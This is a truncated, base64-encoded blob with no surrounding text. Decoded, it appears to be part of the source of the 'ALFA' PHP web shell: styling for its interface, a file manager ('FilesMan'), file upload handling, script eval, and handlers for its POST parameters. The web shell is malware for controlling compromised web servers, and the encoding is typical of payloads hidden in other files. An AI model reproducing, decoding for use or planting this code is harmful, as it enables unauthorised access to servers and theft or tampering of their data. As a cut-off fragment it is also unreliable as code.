iRjc3Njb2RlLid3aWR0aDoxNTBweDtoZWlnaHQ6MTUwcHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk5OTk7dG9wOiA0MiU7bGVmdDogNDUlO2Rpc3BsYXk6bm9uZTt9DQouYWpheGFyZWF7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2NvbG9yOiM2N0FCREZ9I3VwX2JhcntiYWNrZ3JvdW5kLWNvbG9yOnJlZDt3aWR0aDowO2hlaWdodDoycHg7ZGlzcGxheTpub25lO3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6MTAwMDAwfSNoaWRkZW5fc2h7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO3RleHQtYWxpZ246Y2VudGVyO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bGVmdDo5MCU7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czoyZW19LmFsZXJ0X2dyZWVue2NvbG9yOiMwRjA7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDt0ZXh0LWRlY29yYXRpb246bm9uZX0ud2hvbGV7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFiZy5wbmcpO2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXR9LmhlYWRlcntoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO2JvcmRlcjo3cHggc29saWQgIzBFMzA0QTtjb2xvcjonLmFsZmFfZ2V0Q29sb3IoImhlYWRlcl92YWx1ZXMiKS4nO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9LmhlYWRlciBhe3RleHQtZGVjb3JhdGlvbjpub25lO30uZmlsZXN0b29scyBhe2NvbG9yOiMwRjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmZpbGVzdG9vbHMgYTpob3Zlcntjb2xvcjojRkZGO3RleHQtZGVjb3JhdGlvbjpub25lO31zcGFue2ZvbnQtd2VpZ2h0OmJvbGRlcjtjb2xvcjojRkZGfS50eHRmb250e2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6c21hbGw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9ja30udHh0Zm9udF9oZWFkZXJ7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpsYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztjb2xvcjojNTljYzMzfS50Ymx0eHR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2NvbG9yOiNmZmY7Zm9udC1zaXplOnNtYWxsO2Rpc3BsYXk6aW5saW5lLWJsb2NrfWlucHV0W3R5cGU9ImZpbGUiXXtkaXNwbGF5Om5vbmV9LmlucHV0ZmlsZXtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtib3JkZXItcmFkaXVzOjRweDtoZWlnaHQ6MjBweDt3aWR0aDoyNTBweDt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmlubGluZS1ibG9jaztvdmVyZmxvdzpoaWRkZW59LmlucHV0ZmlsZTpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0uaW5wdXRmaWxlIHNwYW4sLmlucHV0ZmlsZSBzdHJvbmd7cGFkZGluZzoycHg7cGFkZGluZy1sZWZ0OjEwcHh9LmlucHV0ZmlsZSBzcGFue2NvbG9yOiMyNWZmMDA7d2lkdGg6OTBweDttaW4taGVpZ2h0OjJlbTtkaXNwbGF5OmlubGluZS1ibG9jazt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtvdmVyZmxvdzpoaWRkZW47dmVydGljYWwtYWxpZ246dG9wO2Zsb2F0OmxlZnR9LmlucHV0ZmlsZSBzdHJvbmd7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmZsb2F0O2hlaWdodDoxMDAlO3dpZHRoOjEwOXB4O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2Zsb2F0OnJpZ2h0fS5pbnB1dGZpbGU6Zm9jdXMgc3Ryb25nLC5pbnB1dGZpbGUuaGFzLWZvY3VzIHN0cm9uZywuaW5wdXRmaWxlOmhvdmVyIHN0cm9uZ3tiYWNrZ3JvdW5kLWNvbG9yOiM0NjY0N0F9LmJ1dHRvbntwYWRkaW5nOjNweH0jYWRkdXAsLmJ1dHRvbntjdXJzb3I6cG9pbnRlcjtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOmdyZWVuO2JvcmRlci1yYWRpdXM6MTAwcHh9I2FkZHVwOmhvdmVyLC5idXR0b246aG92ZXJ7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdOmRpc2FibGVkOmhvdmVye2N1cnNvcjpub3QtYWxsb3dlZH10ZHtwYWRkaW5nOicuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPycwJzonMScpLidweH0ubXlDaGVja2JveHtwYWRkaW5nLWxlZnQ6MnB4fS5teUNoZWNrYm94IGxhYmVse2Rpc3BsYXk6aW5saW5lLWJsb2NrO2N1cnNvcjpwb2ludGVyO3Bvc2l0aW9uOnJlbGF0aXZlfS5teUNoZWNrYm94IGlucHV0W3R5cGU9Y2hlY2tib3hde2Rpc3BsYXk6bm9uZX0ubXlDaGVja2JveCBsYWJlbDpiZWZvcmV7Y29udGVudDoiIjtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoxNHB4O2hlaWdodDoxM3B4O3Bvc2l0aW9uOmFic29sdXRlO2JhY2tncm91bmQtY29sb3I6I2FhYTtib3gtc2hhZG93Omluc2V0IDAgMnB4IDNweCAwIHJnYmEoMCwwLDAsLjMpLDAgMXB4IDAgMCByZ2JhKDI1NSwyNTUsMjU1LC44KX0ubXlDaGVja2JveCBsYWJlbHttYXJnaW4tYm90dG9tOjE1cHg7cGFkZGluZy1yaWdodDoxN3B4fS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtib3JkZXItcmFkaXVzOjEwMHB4fWlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQgKyBsYWJlbDpiZWZvcmV7Y29udGVudDoiIjtiYWNrZ3JvdW5kLWNvbG9yOiMwRTMwNEE7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOjUwJSA1MCU7YmFja2dyb3VuZC1zaXplOjE0cHggMTRweDtib3JkZXI6MXB4IHNvbGlkICMwRjA7Ym94LXNoYWRvdzowIDAgNHB4ICMwRjB9I21ldW5saXN0e2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRjt3aWR0aDphdXRvO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2hlaWdodDphdXRvO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjcwMDtib3JkZXItdG9wLXdpZHRoOjA7Ym9yZGVyLWNvbG9yOiMwRTMwNEE7Ym9yZGVyLXN0eWxlOnNvbGlkfS53aG9sZSAjbWV1bmxpc3QgdWx7dGV4dC1hbGlnbjpjZW50ZXI7bGlzdC1zdHlsZS10eXBlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzo1cHggNXB4IDdweCAycHh9Lndob2xlICNtZXVubGlzdCBsaXttYXJnaW46MDtwYWRkaW5nOjA7ZGlzcGxheTppbmxpbmV9Lndob2xlICNtZXVubGlzdCBhe2ZvbnQtZmFtaWx5OmFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC13ZWlnaHQ6NzAwO2NsZWFyOmJvdGg7d2lkdGg6MTAwcHg7bWFyZ2luLXJpZ2h0Oi02cHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOjFweDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOiNGRkY7cGFkZGluZzozcHggMTVweH0uZm9vdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO21hcmdpbjowO3BhZGRpbmc6MDt3aWR0aDoxMDAlO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwRTMwNEE7Ym9yZGVyLXJpZ2h0LXdpZHRoOjdweDtib3JkZXItbGVmdC13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS1zdHlsZTpzb2xpZDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1sZWZ0LXN0eWxlOnNvbGlkO2JvcmRlci1jb2xvcjojMEUzMDRBfSN0ZXh0e3RleHQtYWxpZ246Y2VudGVyfWlucHV0W3R5cGU9c3VibWl0XXtjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2J0bicpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOjUwJSA1MCU7YmFja2dyb3VuZC1zaXplOjIzcHggMjNweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym9yZGVyLXJhZGl1czoxMDBweH10ZXh0YXJlYXtwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXRleHRhcmVhOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF17cGFkZGluZzozcHg7Y29sb3I6Izk5OTt0ZXh0LXNoYWRvdzojNzc3IDAgMCAzcHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH1pbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7Y29sb3I6IzAwMDt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjJweCBzb2xpZCAjMjc5NzlCOy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XTpob3Zlcntjb2xvcjojRkZGO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1zZWxlY3R7cGFkZGluZzozcHg7d2lkdGg6MTYycHg7Y29sb3I6I0ZGRTt0ZXh0LXNoYWRvdzojMDAwIDAgMnB4IDdweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDojMDAwO3RleHQtZGVjb3JhdGlvbjpub25lO2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9c2VsZWN0OmhvdmVye2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fQ0KLmZvb3R0YWJsZXt3aWR0aDogMzAwcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7Jy4oIUBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyd9LmRpcntiYWNrZ3JvdW5kLWNvbG9yOnJlZDt9JzonfScpLicNCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDt9DQoubWFpbiBhe2NvbG9yOiAjRkZGO30NCi5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzY0NjQ2NDt9DQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCi5iaWdhcmVheyB3aWR0aDo5OSU7IGhlaWdodDozMDBweDsgfQ0KJy5hbGZhQ3NzTG9hZENvbG9ycygpLicNCjwvc3R5bGU+JzsNCmVjaG8gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4NCnZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQp2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCnZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsNCnZhciBhbGZhMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmExJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExJ10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmEyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEyJ10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhM18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmEzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhNF8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE0J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE0J10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhNV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE1J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE1J10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhNl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE2J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE2J10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhN18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE3J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE3J10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhOF8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE4J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE4J10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhOV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ2FsZmE5J10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmE5J10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBhbGZhMTBfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydhbGZhMTAnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTEwJ10sRU5UX1FVT1RFUykpIC4iJzsNCnZhciBkID0gZG9jdW1lbnQ7DQp2YXIgbXlzcWxfY2FjaGUgPSB7fTsNCnZhciBlZGl0b3JfZmlsZXMgPSB7fTsNCnZhciBlZGl0b3JfZXJyb3IgPSB0cnVlOw0KdmFyIGVkaXRvcl9jdXJyZW50X2ZpbGUgPSAnJzsNCnZhciBpc19taW5pbWl6ZWQgPSBmYWxzZTsNCnZhciBjZ2lfaXNfbWluaW1pemVkID0gZmFsc2U7DQp2YXIgY2dpX2xhbmcgPSAnJzsNCnZhciB1cGNvdW50ID0gMTsNCnZhciBpc2xpbnV4ID0gIi4oJEdMT0JBTFNbJ3N5cyddIT0id2luIj8ndHJ1ZSc6J2ZhbHNlJykuIjsNCnZhciBwb3N0X2VuY3J5cHRpb25fbW9kZSA9ICIuKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz8ndHJ1ZSc6J2ZhbHNlJykuIjsNCmZ1bmN0aW9uIHNldChhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpIHsNCmlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQppZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOyI7DQpmb3IoJGo9MTskajw9MTA7JGorKyl7DQplY2hvICdpZihhbGZhJy4kai4nIT1udWxsKWQubWYuYWxmYScuJGouJy52YWx1ZT1hbGZhJy4kai4nO2Vsc2UgZC5tZi5hbGZhJy4kai4nLnZhbHVlPWFsZmEnLiRqLidfOyc7DQp9DQplY2hvICINCmlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQp9IjsNCmVjaG8gJ2Z1bmN0aW9uIGZjKGEpe2FsZmFsb2FkZXIoImJsb2NrIik7dmFyIGI9ImE9IithbGZhYjY0KCJGaWxlc01hbiIpKyImYz0iK2FsZmFiNjQoYS5jLnZhbHVlKSsiJmFsZmExPSIrYWxmYWI2NChhLmFsZmExLnZhbHVlKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIikrIiYiLGM9IiI7Zm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykiY2hlY2tib3giPT1kLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUmJmQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCYmKGMrPSJmW109IithbGZhYjY0KGQuZmlsZXMuZWxlbWVudHNbaV0udmFsdWUpKyImIik7X0FqYXgoZC5VUkwsYitjLGZ1bmN0aW9uKGEpe2FsZmFsb2FkZXIoIm5vbmUiKX0sITApfWZ1bmN0aW9uIGluaXREaXIoYSl7dmFyIGI9IiIsYz0iIjtpc2xpbnV4JiYoYj0iPGEgY2xhc3M9XCJoZWFkZXJfcHdkXCIgb25jbGljaz1cImcoXCdGaWxlc01hblwnLFwnL1wnKTtcIiBocmVmPVwnamF2YXNjcmlwdDp2b2lkKDApO1wnPi88L2E+IixjPSIvIik7dmFyIGU9YS5zcGxpdCgiLyIpLGY9IiIsZz0iIjsiLTEiIT1lLmluZGV4T2YoIi4uIikmJihlLnNwbGljZShlLmluZGV4T2YoIi4uIiktMSwxKSxlLnNwbGljZShlLmluZGV4T2YoIi4uIiksMSkpO2ZvcihpIGluIGUpIiIhPWVbaV0mJihmKz0iPGEgb25jbGljaz1cImcoXCdGaWxlc01hblwnLFwnIitnK2VbaV0rIi9cJyk7XCIgaHJlZj1cJ2phdmFzY3JpcHQ6dm9pZCgwKTtcJyBjbGFzcz1cImhlYWRlcl9wd2RcIj4iK2VbaV0rIi88L2E+IixnKz1lW2ldKyIvIik7JCgiaGVhZGVyX2N3ZCIpLmlubmVySFRNTD1iK2YrIiAiO3ZhciBlPWMrZS5qb2luKCIvIik7ZT1lLnJlcGxhY2UoIi8vIiwiLyIpLGQuZm9vdGVyX2Zvcm0uYy52YWx1ZT1lLCQoImZvb3Rlcl9jd2QiKS52YWx1ZT1lLGNfPWV9ZnVuY3Rpb24gZXZhbEpTKGh0bWwpe3ZhciBuZXdFbGVtZW50PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO25ld0VsZW1lbnQuaW5uZXJIVE1MPWh0bWw7Zm9yKHZhciBzY3JpcHRzPW5ld0VsZW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGk9MDtpPHNjcmlwdHMubGVuZ3RoOysraSl7dmFyIHNjcmlwdD1zY3JpcHRzW2ldO2V2YWwoc2NyaXB0LmlubmVySFRNTCl9fWZ1bmN0aW9uIF9BamF4KGEsYixjLGUpe3ZhciBmPSExO3JldHVybiB3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/Zj1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihmPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSxmPyhmLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PWYucmVhZHlTdGF0ZSYmMjAwPT1mLnN0YXR1cyYmKCJmdW5jdGlvbiIhPXR5cGVvZiBjP2QuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiYWpheGFyZWEiKVswXS5pbm5lckhUTUw9Zi5yZXNwb25zZVRleHQ6ZT8oZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJhamF4YXJlYSIpWzBdLmlubmVySFRNTD1mLnJlc3BvbnNlVGV4dCxjKGYucmVzcG9uc2VUZXh0KSk6YyhmLnJlc3BvbnNlVGV4dCkpfSxmLm9wZW4oIlBPU1QiLGEsITApLGYuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksZi5zZW5kKGIpLHZvaWQgMCk6dm9pZCBhbGVydCgiRXJyb3IgISIpfWZ1bmN0aW9uIGhhbmRsZXVwKGEsYil7dmFyIGM9Il9fZm5hbWV1cCI7MCE9YiYmKGM9Il9fZm5hbWV1cCIrYiksYS5maWxlc1swXS5uYW1lJiYoJChjKS5pbm5lckhUTUw9YS5maWxlc1swXS5uYW1lKX1mdW5jdGlvbiB1KGEpe2FsZmFsb2FkZXIoImJsb2NrIik7YS5zdWJtaXQuZGlzYWJsZWQ9dHJ1ZTt2YXIgYXYgPSBhLmEudmFsdWUsY3YgPSBhLmMudmFsdWUsYWx2ID0gYS5hbGZhMS52YWx1ZSxjaGEgPSBhLmNoYXJzZXQudmFsdWU7dmFyIGI9ITE7aWYoYS5hLnZhbHVlPWFsZmFiNjQoYS5hLnZhbHVlKSxhLmMudmFsdWU9YWxmYWI2NChhLmMudmFsdWUpLGEuYWxmYTEudmFsdWU9YWxmYWI2NChhLmFsZmExLnZhbHVlKSxhLmNoYXJzZXQudmFsdWU9YWxmYWI2NChhLmNoYXJzZXQudmFsdWUpLHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9iPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKGI9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLGIpe3ZhciBjPSQoInVwX2JhciIpO2IudXBsb2FkJiYoYy5zdHlsZS5kaXNwbGF5PSJibG9jayIsYi51cGxvYWQub25wcm9ncmVzcz1mdW5jdGlvbihhKXt2YXIgYj1hLnBvc2l0aW9ufHxhLmxvYWRlZCxkPWEudG90YWxTaXplfHxhLnRvdGFsLGU9TWF0aC5mbG9vcihiL2QqMWUzKS8xMCsiJSI7Yy5zdHlsZS53aWR0aD1lfSksYi5vbmxvYWQ9ZnVuY3Rpb24oZSl7Zm9yKDIwMD09PWIuc3RhdHVzPyhfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIkZpbGVzTWFuIikrIiZjPSIrYS5jLnZhbHVlKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSksYy5zdHlsZS5kaXNwbGF5PSJub25lIixhLmEudmFsdWU9YXYsYS5jLnZhbHVlPWN2LGEuYWxmYTEudmFsdWU9YWx2LGEuY2hhcnNldC52YWx1ZT1jaGEpOmFsZXJ0KCJBbiBlcnJvciBvY2N1cnJlZCEiKSwkKCJmb290ZXJ1cCIpLnZhbHVlPSIiLCQoIl9fZm5hbWV1cCIpLmlubmVySFRNTD0iIjt1cGNvdW50Oyl7dmFyIGY9JCg